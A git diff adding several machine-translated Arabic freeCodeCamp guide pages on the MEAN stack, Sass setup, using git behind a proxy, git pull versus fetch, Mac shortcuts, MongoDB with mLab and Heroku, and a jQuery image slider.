+*   مقدمة إلى Yeoman - الكثير من النصائح والحيل المفيدة لإعداد Yeoman Angular Fullstack
+*   [مولد الزاوي](https://github.com/DaftMonk/generator-angular-fullstack#generators) - مولد يستخدمه Yeoman ، يمكنك العثور على بناء الجملة وملفات ما يخلق
+
+## واجهات برمجة التطبيقات
+
+*   API لتخطيط سوق الأسهم: [https://www.quandl.com/help/api](https://www.quandl.com/help/api)
+
+## معني مرقص التعليمية ومقاطع الفيديو
+
+*   5 الجزء سلسلة على إعداد كومة MEAN  
+    [https://www.youtube.com/watch؟v=kHV7gOHvNdk](https://www.youtube.com/watch?v=kHV7gOHvNdk)
+*   برنامج تعليمي خاص بنظام MAN يخلق نسخة بسيطة من Twitter  
+    [https://channel9.msdn.com/Series/MEAN-Stack-Jump-Start](https://channel9.msdn.com/Series/MEAN-Stack-Jump-Start)
+*   Clementine هو كومة MAN مجردة أسفل ، عظيم لتعلم الأساسيات.  
+    [https://johnstonbl01.github.io/clementinejs/tutorials/tutorial-beginner.html](https://johnstonbl01.github.io/clementinejs/tutorials/tutorial-beginner.html)
+*   المصادقة مع Passport لـ مكدس MEAN:  
+    [https://vickev.com/#!/article/authentication-in-single-page-applications-node-js-passportjs-angularjs](https://vickev.com/#!/article/authentication-in-single-page-applications-node-js-passportjs-angularjs)
+*   قائمة مذهلة من الموارد لتعلم رصة MEAN:  
+    [https://github.com/ericdouglas/MEAN-Learning](https://github.com/ericdouglas/MEAN-Learning)
+
+## دروس سكوتش IO
+
+*   [https://scotch.io/tutorials/setting-up-a-mean-stack-single-page-application](https://scotch.io/tutorials/setting-up-a-mean-stack-single-page-application)
+*   [https://scotch.io/tutorials/node-and-angular-to-do-app-application-organization-and-structure](https://scotch.io/tutorials/node-and-angular-to-do-app-application-organization-and-structure)
+
+## عقدة / اكسبرس
+
+*   [التصحيح عبر الإنترنت لـ Node.js / Express](http://stackoverflow.com/a/16512303/1420506)
+
+## سحابة 9 الحيل
+
+### تسريع إعادة تحميل المتصفح
+
+1.  افتح gruntfile.js وحرر كلتا `livereload: true` to `livereload: false` .
+2.  افتح الخادم / config / express.js وقم بتعليق سطر `app.use(require('connect-livereload')());`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/getting-started-with-sass/index.md b/client/src/guide/arabic/miscellaneous/getting-started-with-sass/index.md
new file mode 100644
index 0000000000..79fc0a3c4d
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/getting-started-with-sass/index.md
@@ -0,0 +1,100 @@
+---
+title: Getting Started with Sass
+localeTitle: الابتداء مع ساس
+---
+### المقدمة
+
+Sass يرمز إلى "أوراق الأنماط المركّبة syntactically" وهو معالج CSS المسبق. يقوم المعالج المسبق بترجمة التعليمات البرمجية المكتوبة بلغة معينة إلى كود "المنتج" الذي يمكن قراءته آليًا (يمكن قراءة المستعرض). في الأساس ، يجمع Sass التعليمات البرمجية إلى CSS العادي الذي يمكن للمتصفحات لدينا تفسيره! _لماذا كتابة التعليمات البرمجية في Sass عند CSS موجود بالفعل؟_ الإجابة المختصرة هي أن Sass يأتي بميزات أكثر قوة مضمنة في تركيبته التي تسمح للمطورين بكتابة رمز واجهة المستخدم DRY-er ، وقابلية التطوير ، وأكثر قابلية للصيانة.
+
+إذا كنت على دراية بـ CSS ، فإن تعلم ساس سوف يكون أسهل لك قليلاً. إذا لم يكن الأمر كذلك ، فقد يكون من المثالي البدء في تعلم بعض أساسيات CSS في قسم HTML5 & CSS في Free Code Camp في دورة شهادة تطوير الواجهة الأمامية ، بالإضافة إلى إلقاء نظرة على [مقالة CSS الخاصة بـ MDN](https://developer.mozilla.org/en-US/docs/Web/CSS) .
+
+في الجزء الأول من هذه المقالة ، سأشرح كيفية تثبيت برنامج Sass على جهاز الكمبيوتر الخاص بك وكيفية تجميع شفرة Sass-written في CSS.
+
+## التركيب
+
+إن أبسط طريقة لتثبيت Sass على جهازك هي من خلال سطر الأوامر. Sass جوهرة روبي وسوف يتطلب الأمر التالي:
+
+بالنسبة لأجهزة Mac وأجهزة الكمبيوتر:
+
+`sudo gem install sass`
+
+بالنسبة لنظام التشغيل Linux ، ستحتاج إلى تثبيت لغة Ruby أولاً ، ثم:
+
+`sudo su -c "gem install sass"`
+
+يجب أن تكون الآن قادرًا على التحقق من إصدار Sass المركب:
+
+`sass -v`
+
+ويجب أن يعرض شيئًا مشابهًا لما يلي:
+
+`Sass 3.4.21 (Selective Steve)`
+
+إذا كان الأمر كذلك ، مبروك ، لقد قمت بتثبيت ساس فقط! الآن على استخدام ساس.
+
+## الاستخدام الأساسي & التركيب
+
+لنبدأ بمثال بسيط للغاية لتوضيح كيف يعمل Sass بالفعل. يمكنك متابعة الخطوات أو ببساطة القراءة.
+
+_استيراد sidenote: يمكن كتابة Sass في نمطين مختلفين قليلاً ، لكل منهما فوائده الخاصة. سيستخدم نمط واحد امتداد الملف_ `.sass` _والآخر سيستخدم_ `.scss` . _سيتم إعطاء تفسيرات موجزة حول الاختلافات بين النمطين في وقت لاحق. للحصول على شرح تفصيلي ، راجع_ [مقالة](http://thesassway.com/editorial/sass-vs-scss-which-syntax-is-better) _John W. Long's_ [Sass مقابل SCSS](http://thesassway.com/editorial/sass-vs-scss-which-syntax-is-better) .
+
+_من أجل التناسق ، ستقدم هذه المقالة أمثلة التعليمات البرمجية بتنسيق `.scss` ، ومع ذلك فإن كلا `.scss` بنفس القدر من الشعبية._
+
+حسنا ، دعونا نبدأ. سنقوم بإنشاء مجلد جديد لإدراج ملفات المثال الخاصة بنا (يمكنك القيام بذلك في أي مكان على الكمبيوتر الخاص بك ، ويمكنك استخدام سطر الأوامر أو القيام بذلك يدويًا).
+
+في المجلد ، `style.scss` ملفًا باسم `style.scss` وملف HTML إلى النمط المسمى `index.html` :
+
+_أمر `tree` في الصورة أعلاه هو من حزمة npm التي يمكنك تثبيتها وليست محلية في سطر الأوامر. قيادة `ls` يفعل أساسا نفس الشيء._
+
+الآن بعد أن أصبح لدينا إعداد مجلد مشروعنا ، يمكننا استخدام الأمر Sass watch "لمراقبة" ملف Sass الخاص بنا وتجميع التعليمات البرمجية الخاصة بنا عندما تقوم بالكشف عن تغيير في الملف. نكتب أمر الساعة في الملف الذي نريد مشاهدته:
+
+`sass --watch style.scss`
+
+الخطوة التالية هي فتح مجلد المشروع في محرر النص الذي تختاره. بمجرد فتح ملفاتنا وجاهزة للتحرير ، يمكننا إضافة صفحة HTML أساسية جدًا (بالنسبة لنا إلى النمط) والتي ستظهر كما يلي:
+
+ `<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <title>Sass!</title> 
+  <link rel="stylesheet" href="style.css"> 
+ </head> 
+ <body> 
+  <article> 
+    <h1>Hello World</h1> 
+    <p class="cat-paragraph-1">Cat ipsum dolor sit amet, stand in front of the computer screen, so chase imaginary bugs has closed eyes but still sees you caticus cuteicus.</p> 
+    <p class="cat-paragraph-2">Drink water out of the faucet chew on cable or if it fits, i sits roll on the floor purring your whiskers off.</p> 
+  </article> 
+ </body> 
+ </html> 
+` 
+
+بعد إعداد HTML ، يمكننا فتح ملف `style.scss` بنا والبدء في التصميم في Sass. في نموذج التعليمة البرمجية أدناه ، ربما تلاحظ كيف أن بعض محددات النمط متداخلة داخل محدد المقالة ؛ شيء فريد من نوعه لساس. لا تقلق ، سيتم شرح البنية في الجزء 2. في الوقت الحالي ، نريد فقط أن نفهم كيف يعمل ساس في أبسط صوره.
+
+ `article { 
+  h2 { 
+    font-family: Arial; 
+    color: blue; 
+  } 
+  .cat-paragraph-1 { 
+    color: red; 
+  } 
+  .cat-paragraph-2 { 
+    color: green; 
+  } 
+ } 
+` 
+
+وبمجرد كتابة هذا الرمز وحفظه في ملف `style.scss` ، فإن مهمة المراقبة التي `style.scss` في سطر الأوامر `style.scss` الملف ، `style.scss` بتجميع Sass إلى CSS ، وإخراج ملف جديد بعنوان `style.css` . قد ترى أيضًا ملفًا باسم `style.css.map` في مجلد مشروعك الذي ظهر بطريقة سحرية أيضًا. هذا الملف يسمى sourcemap وهو ذو فائدة كبيرة عند تصحيح Sass ، ولكن الآن سنتركه.
+
+فيما يلي يمكننا رؤية الملفات المدرجة في مجلد المشروع.
+
+والآن إذا `index.html` في متصفح ويب ، يمكننا أن نرى صفحة HTML الخاصة بنا مصممة باستخدام CSS التي تم تجميعها من نموذج Sass code. وبالمثل ، يمكننا فتح ملف `style.css` لمعرفة كيفية إخراج Sass لرمز Sass الأصلي. مدمجة ، أليس كذلك؟
+
+## أين أذهب من هنا؟
+
+_عظيم! الآن أنا أعرف كيفية تجميع ساس على جهاز الكمبيوتر الخاص بي. هل هاذا هو؟_
+
+ليس عن طريق تسديدة طويلة. كان هذا مثالا عظيما عن كيفية عمل ساس ، وبالتالي فإن فوائد الكتابة في ساس على الفانيلا المغلق قد لا تكون واضحة. كتبنا 12 سطراً من "ساس" وحصلنا على 7 أسطر من CSS نتيجة لذلك. ليس بالضبط فرق كبير بأي معايير. في الجزء 2 سنشرح **السحر** وراء بنية ساس مثل المتغيرات والميولنز ، وكيف يمكن استخدام هذه الأدوات لإعطائنا قوى خارقة عند التصميم.
+
+إذا كنت لا تزال عالقة على كيفية تجميع ساس سحريًا في CSS أو ربما ترغب في [العبث](http://www.sassmeister.com/) برمز عينة أكثر ، فإن [Sassmeister](http://www.sassmeister.com/) عبارة عن واجهة رائعة عبر الإنترنت تتيح لك الكتابة في بناء جملة Sass وترى على الفور الشفرة التي تم تجميعها في CSS بدون الاضطرار إلى تثبيت أي شيء أو القيام بأي إعداد على جهاز الكمبيوتر الخاص بك. إنه مورد مفيد جدًا لوضع الحماية واختبار كود Sass الخاص بك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/git-behind-a-proxy-server/index.md b/client/src/guide/arabic/miscellaneous/git-behind-a-proxy-server/index.md
new file mode 100644
index 0000000000..274793208c
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/git-behind-a-proxy-server/index.md
@@ -0,0 +1,40 @@
+---
+title: Git Behind a Proxy Server
+localeTitle: بوابة وراء خادم وكيل
+---
+**استخدم حالات**
+
+قد تحتاج إلى تعديل أوامر `git` التي تصل إلى المستودعات البعيدة (للتحديث والقراءة من) إذا كان الدخول إلى الإنترنت من خلال [خادم وكيل](https://en.wikipedia.org/wiki/Proxy_server) .
+
+تُعد خوادم الوكيل شائعة في البيئات من نوع الكلية والأعمال.
+
+يمكنك [تحديد إعدادات الخادم الوكيل](http://www.wikihow.com/Change-Proxy-Settings) من لوحة إعدادات المتصفح.
+
+## باستخدام بروكسي مع جيت
+
+بمجرد الحصول على إعدادات الوكيل (عنوان URL الخادم والمنفذ واسم المستخدم وكلمة المرور) ؛ تحتاج إلى تكوين بوابة الخاص بك على النحو التالي:
+
+ `$ git config --global http.proxy http://<username>:<password>@<proxy-server-url>:<port> 
+` 
+
+ستحتاج إلى استبدال `<username>` و `<password>` و `<proxy-server-url>` و `<port>` بالقيم الخاصة ببيانات اعتماد الخادم الوكيل. هذه الحقول اختيارية. على سبيل المثال ، قد لا يتطلب الخادم الوكيل الخاص بك `<username>` و `<password>` ، أو ربما يعمل على المنفذ 80 (وفي هذه الحالة ، لا يكون `<port>` مطلوبًا).
+
+وبمجرد الانتهاء من ضبطها ، فإن `git pull` `git push` أو `git push` أو حتى `git fetch` سيعمل بشكل صحيح.
+
+## متى لا تستخدم
+
+لا يجب عليك استخدام أوامر `git` مع إعدادات الوكيل ، في حالة حدوث أي مما يلي
+
+*   لا يسمح لك مسؤول النظام أو سياسة الشركة بالدخول إلى مستودعات `git` البعيدة من GitHub و BitBucket إلخ.
+*   مستودع التخزين البعيد غير موجود في جهازك ، ولكنه موجود داخل الشبكة الداخلية. مثال على GitLab تم نشره داخليًا في شركتك هو مثال جيد.
+
+## غير إعدادات الوكيل
+
+استخدم مناقشة Stack Overflow [هذه](http://stackoverflow.com/questions/11499805/git-http-proxy-setting) لإلغاء تعيين إعدادات الوكيل.
+
+## مصادر
+
+يمكنك استخدام ما يلي لمزيد من القراءة حول هذا:
+
+*   [هل يمكنني تسجيل الدخول خلف خادم وكيل](https://help.github.com/desktop/faq/articles/can-i-log-in-behind-a-proxy-server/#platform-windows)
+*   [Git Config](https://git-scm.com/docs/git-config)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/git-pull-vs-git-fetch/index.md b/client/src/guide/arabic/miscellaneous/git-pull-vs-git-fetch/index.md
new file mode 100644
index 0000000000..2ca9492f9e
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/git-pull-vs-git-fetch/index.md
@@ -0,0 +1,20 @@
+---
+title: Git Pull Vs Git Fetch
+localeTitle: Git Pull Vs Git Fetch
+---
+يتم استخدام هذين الأمرين بشكل منتظم من قبل مستخدمي git. دعونا نرى الفرق بين كلا الأمرين.
+
+من أجل السياق ، يجدر بنا أن نتذكر أننا ربما نعمل في ريبو استنساخ. ما هو استنساخ؟ ببساطة نسخة من مستودع آخر. هو أساسا الحصول على نسختك الخاصة من رمز مصدر شخص آخر.
+
+ومع ذلك ، للحفاظ على تحديث مستنسختك مع أي تغييرات قد تكون طبقت على النسخة الأصلية ، سوف تحتاج إلى إحضار تلك إلى استنساخك. هذا هو المكان الذي يأتي فيه `fetch` `pull` . `git fetch` هو الأمر الذي يخبر بوابة موقعك المحلية باسترداد أحدث معلومات بيانات التعريف من الأصل (حتى الآن لا يقوم بأي نقل للملفات. إنه أشبه بالتحقق لمعرفة ما إذا كان هناك أي التغييرات المتاحة). `git pull` من ناحية أخرى يفعل ذلك AND يجلب (نسخة) تلك التغييرات من مستودع بعيد.
+
+على سبيل المثال
+
+ `git pull origin ankur bugfix 
+` 
+
+أخذ بعيدا هو أن نأخذ في الاعتبار أن هناك عموما ما لا يقل عن ثلاث نسخ من مشروع على محطة العمل الخاصة بك. نسخة واحدة هي المستودع الخاص بك مع تاريخ التزامك الخاص (المحفوظ بالفعل ، لذلك أقول). النسخة الثانية هي نسخة عملك حيث تقوم بتحريرها وبناءها (لم تلتزم بعد بالرجوع). النسخة الثالثة هي نسختك المحلية "المخبأة" لمستودع بعيد (ربما الأصلي من حيث قمت باستنساخك). يمكنك استخدام `git fetch` لمعرفة التغييرات التي تمت في الريبو / الفرع البعيد منذ السحب الأخير. يفيد ذلك في السماح بالتحقق قبل إجراء سحب فعلي ، مما قد يؤدي إلى تغيير الملفات في الفرع الحالي ونسخة العمل (وربما يفقد تغييراتك ، وما إلى ذلك).
+
+ `git fetch 
+ git diff ...origin 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/global-control-shortcuts-for-mac/index.md b/client/src/guide/arabic/miscellaneous/global-control-shortcuts-for-mac/index.md
new file mode 100644
index 0000000000..b52ee3c19f
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/global-control-shortcuts-for-mac/index.md
@@ -0,0 +1,19 @@
+---
+title: Global Control Shortcuts for Mac
+localeTitle: اختصارات التحكم العالمية لنظام Mac
+---
+ستوفر لك اختصارات التحكم العالمية لـ Mac هذه الساعات عن طريق تسريع الكتابة.
+
+[https://player.vimeo.com/video/107073108](https://player.vimeo.com/video/107073108)
+
+تعمل الاختصارات العالمية هذه في كل مكان على جهاز Mac:
+
+*   السيطرة + واو = إلى الأمام
+*   Control + B = Backward
+*   Control + N = السطر التالي
+*   Control + P = الخط السابق
+*   Control + H = Backspace
+*   السيطرة + د = حذف
+*   Control + A = بداية الخط
+*   Control + E = نهاية الخط
+*   السيطرة + ك = قتل الخط
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/guide-for-using-mongodb-and-deploying-to-heroku/index.md b/client/src/guide/arabic/miscellaneous/guide-for-using-mongodb-and-deploying-to-heroku/index.md
new file mode 100644
index 0000000000..5ee1790f32
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/guide-for-using-mongodb-and-deploying-to-heroku/index.md
@@ -0,0 +1,118 @@
+---
+title: Guide for Using MongoDB and Deploying to Heroku
+localeTitle: دليل لاستخدام MongoDB ونشرها في Heroku
+---
+دعونا نرى في هذا الدليل كيفية العمل مع `mLab` محليًا ومع `mLab` في Heroku. بدلاً من ذلك ، يمكنك أيضًا استخدام إضافة `mLab` في Heroku ، وهي مجانية ولكنها قد تتطلب تفاصيل بطاقة الائتمان الخاصة بك. لذا ، إذا لم تكن [مهتمًا بتزويدك](https://mlab.com) بتفاصيل بطاقة الائتمان الخاصة بك ، يمكنك الذهاب إلى موقع [mLab](https://mlab.com) .
+
+## إعداد حساب مجاني على Heroku و `mLab` :
+
+قم بالتسجيل في [Heroku](https://signup.heroku.com/) و [mLab](https://mlab.com/signup/)
+
+## بدء من Mongodb (محليًا):
+
+لبدء تشغيل DB على نظامك الخاص قم بتنفيذ الأمر التالي:
+
+ `# Create a directory named 'data' if it doesn't exist 
+ $ mongod --port 27017 --dbpath=./data 
+` 
+
+الآن ديسيبل الخاص بك يعمل في-
+
+`mongodb://localhost:27017/my_database_name`
+
+إذا كنت تستخدم c9 وإذا كنت تواجه مشكلة في بدء تشغيل DB في C9 ، فراجع هذه [الصفحة](https://community.c9.io/t/setting-up-mongodb/1717)
+
+## بدء من Mongodb ( `mLab` ):
+
+1.  بعد إنشاء حساب `mLab` ، انقر فوق **إنشاء** زر **جديد** وحدد Single-node -> Sandbox للحصول على ديسيبل مجاني وإعطاء قاعدة بياناتك اسمًا (لقد قمت بإنشاء db مسمى 'طعام' لهذا كمثال).
+2.  الآن يتم إنشاء قاعدة بيانات باسم "الطعام" ، يمكنك إنشاء مجموعة جديدة خاصة بك.
+3.  وأخيرًا ، قم بإضافة مستخدم / مستخدمين يمكنهم الوصول إلى قاعدة البيانات هذه ، بينما تقوم إضافة مستخدم بإدخال اسم المستخدم وكلمة المرور المستخدمة للوصول إلى قاعدة البيانات.
+
+الآن يتم تشغيل DB الخاص بك في URL شيء من هذا القبيل -
+
+`mongodb://username:password@ds01316.mlab.com:1316/food`
+
+حيث اسم المستخدم وكلمة المرور هما التفاصيل التي قدمتها عندما أضفت مستخدمًا.
+
+يمكنك العثور على عنوان URL الخاص بـ DB على [https://mlab.com/databases/your _database_ name](https://mlab.com/databases/your_database_name)
+
+## إجراء اتصال مع MongoDB في Node.js (أثناء تشغيل DB على النظام المحلي الخاص بك):
+
+للعمل مع قاعدة البيانات ، تحتاج أولاً إلى إنشاء اتصال. في هذا القسم ، سنستخدم برنامج التشغيل الأصلي Node.js الخاص بـ MongoDB لإنشاء الاتصال بخادم MongoDB. لتثبيت برامج التشغيل الأصلية mongodb ، استخدم الأمر npm لتثبيت الوحدة النمطية mongodb. بعد ذلك ، قم بتشغيل الأمر التالي في دليل المشروع الخاص بك.
+
+`npm install mongodb`
+
+التعليمات البرمجية الأساسية للاتصال بـ MongoDB
+
+ `//lets require/import the mongodb native drivers. 
+ var mongodb = require('mongodb'); 
+ 
+ //We need to work with "MongoClient" interface in order to connect to a mongodb server. 
+ var MongoClient = mongodb.MongoClient; 
+ 
+ // Connection URL. This is where your mongodb server is running. 
+ 
+ //(Focus on This Variable) 
+ var url = 'mongodb://localhost:27017/my_database_name'; 
+ //(Focus on This Variable) 
+ 
+ // Use connect method to connect to the Server 
+  MongoClient.connect(url, function (err, db) { 
+  if (err) { 
+    console.log('Unable to connect to the mongoDB server. Error:', err); 
+  } else { 
+    console.log('Connection established to', url); 
+ 
+    // do some work here with the database. 
+ 
+    //Close connection 
+    db.close(); 
+  } 
+ }); 
+` 
+
+لمزيد من الأمثلة للعمل مع MongoDB يمكنك الرجوع إلى هذه [المدونة](http://blog.modulus.io/mongodb-tutorial)
+
+نحتاج إلى معرفة مكان تشغيل خادم mongodb الخاص بنا. يمثل عنوان url الموقع الذي يعمل فيه مثيل خادم mongodb بحيث يمكننا الاتصال به. يحتوي عنوان URL على اسم قاعدة البيانات الذي ننوي الاتصال به.
+
+إذا افترضنا أن قاعدة بياناتك تعمل على عنوان URL المذكور أعلاه ، فلنركز الآن على عنوان URL الذي يربط قاعدة البيانات (محلي)
+
+`var url = 'mongodb://localhost:27017/my_database_name';`
+
+### إجراء اتصال مع MongoDB في Node.js (أثناء تشغيل DB في `mLab` الخاص بك):
+
+يبدو عنوان url للاتصال بـ `mLab` DB مثل هذا
+
+`var url = 'mongodb://username:password@ds01316.mlab.com:1316/food';`
+
+يمكنك استبدال متغير عنوان url بهذا وسيعمل كل شيء بالطريقة التي ينبغي أن تكون عليها تمامًا وأخيرًا تكون قاعدة البيانات الخاصة بك آمنة ومأمونة في `mLab` حيث يمكنك عرض `mLab` احتياطي إلخ.
+
+### ملاحظة مهمة:
+
+لكن الالتزام بإدخال اسم المستخدم وكلمة المرور إلى الريبو العام في بعض الأحيان أمر خطير للغاية ، لذا لا تقم أبدًا بتخصيصها لمستودعات عامة ، بل يمكنك استخدام متغيرات البيئة لتخزين عنوان url (الذي يحتوي على اسم المستخدم وكلمة المرور) ، للقيام بذلك في نظامك **المحلي**
+
+بالنسبة لمستخدمي Mac / Linux ، يمكنك ببساطة كتابة:
+
+`export MONGOLAB_URI="mongodb://username:password@ds01316.mlab.com:1316/food"`
+
+لمستخدمي ويندوز:
+
+`SET MONGOLAB_URI=mongodb://username:password@ds01316.mlab.com:1316/food`
+
+بعد تحديد متغيرات البيئة ، ستحتاج إلى استدعاء متغير البيئة في شفرتك. يمكنك القيام بذلك عن طريق كتابة هذا
+
+`var url = process.env.MONGOLAB_URI;`
+
+الآن يتم إدراج عنوان URL الخاص بـ MongoDb في رمزك بأمان. يمكنك الآن ارتكابها ونشرها على heroku الخاص بك.
+
+إذا كنت بحاجة إلى مزيد من المساعدة حول كيفية النشر في Heroku ، فيمكنك الرجوع إلى [Wiki](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Heroku-Deployment-Guide)
+
+## الخطوات النهائية:
+
+بعد نشر شفرتك إلى تطبيق Heroku ، ستحتاج إلى ضبط متغير البيئة لـ Code in heroku.
+
+للقيام بذلك ، تحتاج إلى تشغيل الأمر التالي من جهاز التحكم عن بعد الخاص بـ heroku ،
+
+`heroku config:set MONGOLAB_URI=mongodb://username:password@ds01316.mlab.com:1316/food`
+
+هذا هو ، يتم نشر التطبيق الخاص بك بنجاح الآن في heroku مع `mLab` DB
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/guide-to-build-a-sliding-image-gallery/index.md b/client/src/guide/arabic/miscellaneous/guide-to-build-a-sliding-image-gallery/index.md
new file mode 100644
index 0000000000..33b7ec2150
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/guide-to-build-a-sliding-image-gallery/index.md
@@ -0,0 +1,203 @@
+---
+title: Guide to Build a Sliding Image Gallery
+localeTitle: دليل لبناء معرض الصور الانزلاقية
+---
+سيرشدك هذا البرنامج التعليمي خلال إنشاء شريط تمرير للصور باستخدام مكتبة [jQuery](https://jquery.com/) .
+
+[![GIF تعرض شريط التمرير أثناء العمل](//discourse-user-assets.s3.amazonaws.com/original/2X/0/08d83a22c28da836a06853b1f1ea669b398326b9.gif)](https://codepen.io/atjonathan/pen/BKMxxq)
+
+سيحتوي هذا البرنامج التعليمي على أربعة أجزاء:
+
+*   [HTML](#html)
+*   [SCSS](#scss)
+*   [JS](#js)
+*   [المراجع](#references)
+
+## HTML
+
+[سنستخدم Bootstrap](http://getbootstrap.com/) لهذا البرنامج التعليمي للحفاظ على الأشياء تبدو جيدة ، دون قضاء الكثير من الوقت.
+
+سيكون هيكلنا على النحو التالي:
+
+ `<div class="container"> 
+ 
+  <!-- The wrapper for our slider --> 
+  <div class="slider"> 
+    <ul class="slides"><!-- Each image will be inside this unordered list --></ul> 
+  </div> 
+ 
+  <div class="buttons"><!-- Pause and play buttons will go in here --></div> 
+ 
+ </div> 
+` 
+
+داخل لدينا `ul` مع فئة من `slides` سيكون لدينا ما يلي:
+
+ `<li class="slide"><img src="#" /></li> 
+ <li class="slide"><img src="#" /></li> 
+ <li class="slide"><img src="#" /></li> 
+ <li class="slide"><img src="#" /></li> 
+ <li class="slide"><img src="#" /></li> 
+` 
+
+داخل فئة `.buttons` لدينا يجب أن يكون لديك ما يلي:
+
+ `<button type="button" class="btn btn-default pause"> 
+    <span class="glyphicon glyphicon-pause"></span> 
+ </button> 
+ <button type="button" class="btn btn-default play"> 
+    <span class="glyphicon glyphicon-play"></span> 
+ </button> 
+` 
+
+في ما يلي مثال لما يجب أن تبدو عليه `html` :
+
+> ملاحظة: يجب استبدال السمة `src` للصورة بالمحتوى الخاص بك.
+
+ `<div class="container"> 
+ 
+  <div class="slider"> 
+    <ul class="slides"> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=120" /></li> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=70" /></li> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=50" /></li> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=170" /></li> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=190" /></li> 
+    </ul> 
+  </div> 
+ 
+  <div class="buttons"> 
+    <button type="button" class="btn btn-default pause"> 
+      <span class="glyphicon glyphicon-pause"></span> 
+    </button> 
+    <button type="button" class="btn btn-default play"> 
+      <span class="glyphicon glyphicon-play"></span> 
+    </button> 
+  </div> 
+ 
+ </div> 
+` 
+
+## SCSS
+
+نحن نستخدم قواعد [Sass](http://sass-lang.com/) و SCSS حتى نتمكن من استخدام المتغيرات واستخدامها ![:heart_decoration:](//forum.freecodecamp.com/images/emoji/emoji_one/heart_decoration.png?v=2 ": heart_decoration:")
+
+يمكننا استخدام SCSS التالية لتحديد التصميم الخاص بنا:
+
+ `// Variables 
+ $width: 720px; 
+ 
+ .slider { 
+  width: $width; 
+  height: 400px; 
+  overflow: hidden; 
+  margin: 0 auto; 
+  text-align: center; 
+ 
+  .slides { 
+    display: block; 
+    width: 6000px; 
+    height: 400px; 
+    margin: 0; 
+    padding: 0; 
+  } 
+ 
+  .slide { 
+    float: left; 
+    list-style-type: none; 
+    width: $width; 
+    height: 400px; 
+ 
+    img { 
+      width: 100%; 
+      height: 100%; 
+    } 
+  } 
+ } 
+ 
+ .buttons { 
+  margin: 0; 
+  width: $width; 
+  position: relative; 
+  top: -40px; 
+  margin: 0 auto; 
+ 
+  .play { 
+    display: none; 
+  } 
+ 
+  .btn { 
+    display: flex; 
+    margin: 0 auto; 
+    text-align: center; 
+  } 
+ } 
+` 
+
+## JS
+
+#### المتغيرات
+
+_في مقتطف الشفرة التالي ، نحدد المتغيرات المستخدمة لاحقًا في الشفرة._
+
+ `var animationSpeed = 1000; // How quickly the next slide animates. 
+ var pause = 3000; // The pause between each slide. 
+` 
+
+سنستخدم متغيرًا فارغًا حيث سنتصل بطريقة `setInterval` :
+
+ `var interval; 
+` 
+
+#### الرسوم المتحركة سنقوم بلف رسوم متحركة المنزلق الخاصة بنا داخل إحدى الوظائف:
+
+ `function startSlider() {} 
+` 
+
+نحن نستخدم طريقة جافا سكريبت الأصلية `setInterval()` لأتمتة محتويات الدالة على مشغل يستند إلى الوقت.
+
+ `interval = setInterval(function() {}, pause); 
+` 
+
+نستخدم متغير `pause` لمعرفة عدد المللي ثانية للانتظار قبل استدعاء الوظيفة مرة أخرى. اقرأ المزيد عن طريقة `setInterval` المحلية هنا: https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setInterval. داخل وظيفتنا ، سنستخدم jQuery لتتلاشى بين الشرائح بسرعة متغير animationSpeed:
+
+ `$('.slides > li:first') 
+  .fadeOut(animationSpeed) 
+  .next() 
+  .fadeIn(animationSpeed) 
+  .end() 
+  .appendTo('.slides'); 
+` 
+
+*   نحن نستهدف الشريحة الأولى باستخدام `$('.slides > li:first')` . - `.fadeOut(animationSpeed)` الشريحة الأولى ثم تستخدم `.next()` ، ننتقل إلى الشريحة التالية. - بمجرد أن ننتقل إلى الشريحة التالية ، سوف `.fadeIn(animationSpeed)` في: `.fadeIn(animationSpeed)` . - سيستمر هذا التسلسل حتى الشريحة الأخيرة ( `.end()` ) ، ثم نوقف الرسم المتحرك. سنقوم الآن باستدعاء وظيفة `startSlider` لبدء الرسوم المتحركة:
+    
+    startSlider ()؛
+    
+
+#### Play and Pause _هذه الميزة اختيارية ، ولكنها سهلة التنفيذ._ سنخفي زر التشغيل ، لذلك لا نرى أزرار التشغيل والإيقاف المؤقت:
+
+ `$('.play').hide(); // Hiding the play button. 
+` 
+
+سنقوم الآن بإنشاء زر الإيقاف المؤقت (يظهر تلقائيًا عند تحميل الصفحة):
+
+ `$('.pause').click(function() { 
+    clearInterval(interval); 
+    $(this).hide(); 
+    $('.play').show(); 
+ }); 
+` 
+
+*   سنتصل بوظائفنا في كل مرة يتم النقر فوق زر الإيقاف المؤقت باستخدام jQuery. - سنقوم بإزالة الفاصل الزمني باستخدام طريقة `clearInterval` واستخدام متغير `interval` بنا `clearInterval` ، مع الإشارة إلى الفاصل الزمني للتوقف. - نظرًا لأن شريط التمرير متوقف مؤقتًا ، فسوف نخفي زر الإيقاف المؤقت باستخدام `$(this).hide();` . ملاحظة: نحن نستخدم `this` ، والذي سيشير إلى ما يتصل به `.pause` أي. - سنقوم بعد ذلك بعرض زر التشغيل الخاص بنا بحيث يمكن للمستخدم استئناف الرسوم المتحركة: `$('.play').show();` . تعمل التعليمة البرمجية التالية على إعداد زر التشغيل (مخفي تلقائيًا عند تحميل الصفحة):
+    
+    $ (". play"). انقر فوق (function () { startSlider ()؛ $ (هذا) .hide ()؛ $ ( '. قفة') عرض ()؛ })؛
+    
+*   سنقوم باستدعاء وظيفتنا في كل مرة يتم فيها النقر على زر التشغيل باستخدام jQuery.
+    
+    *   سنبدأ الفاصل الزمني أو نعيد تشغيله باستخدام وظيفة `startSlider` .
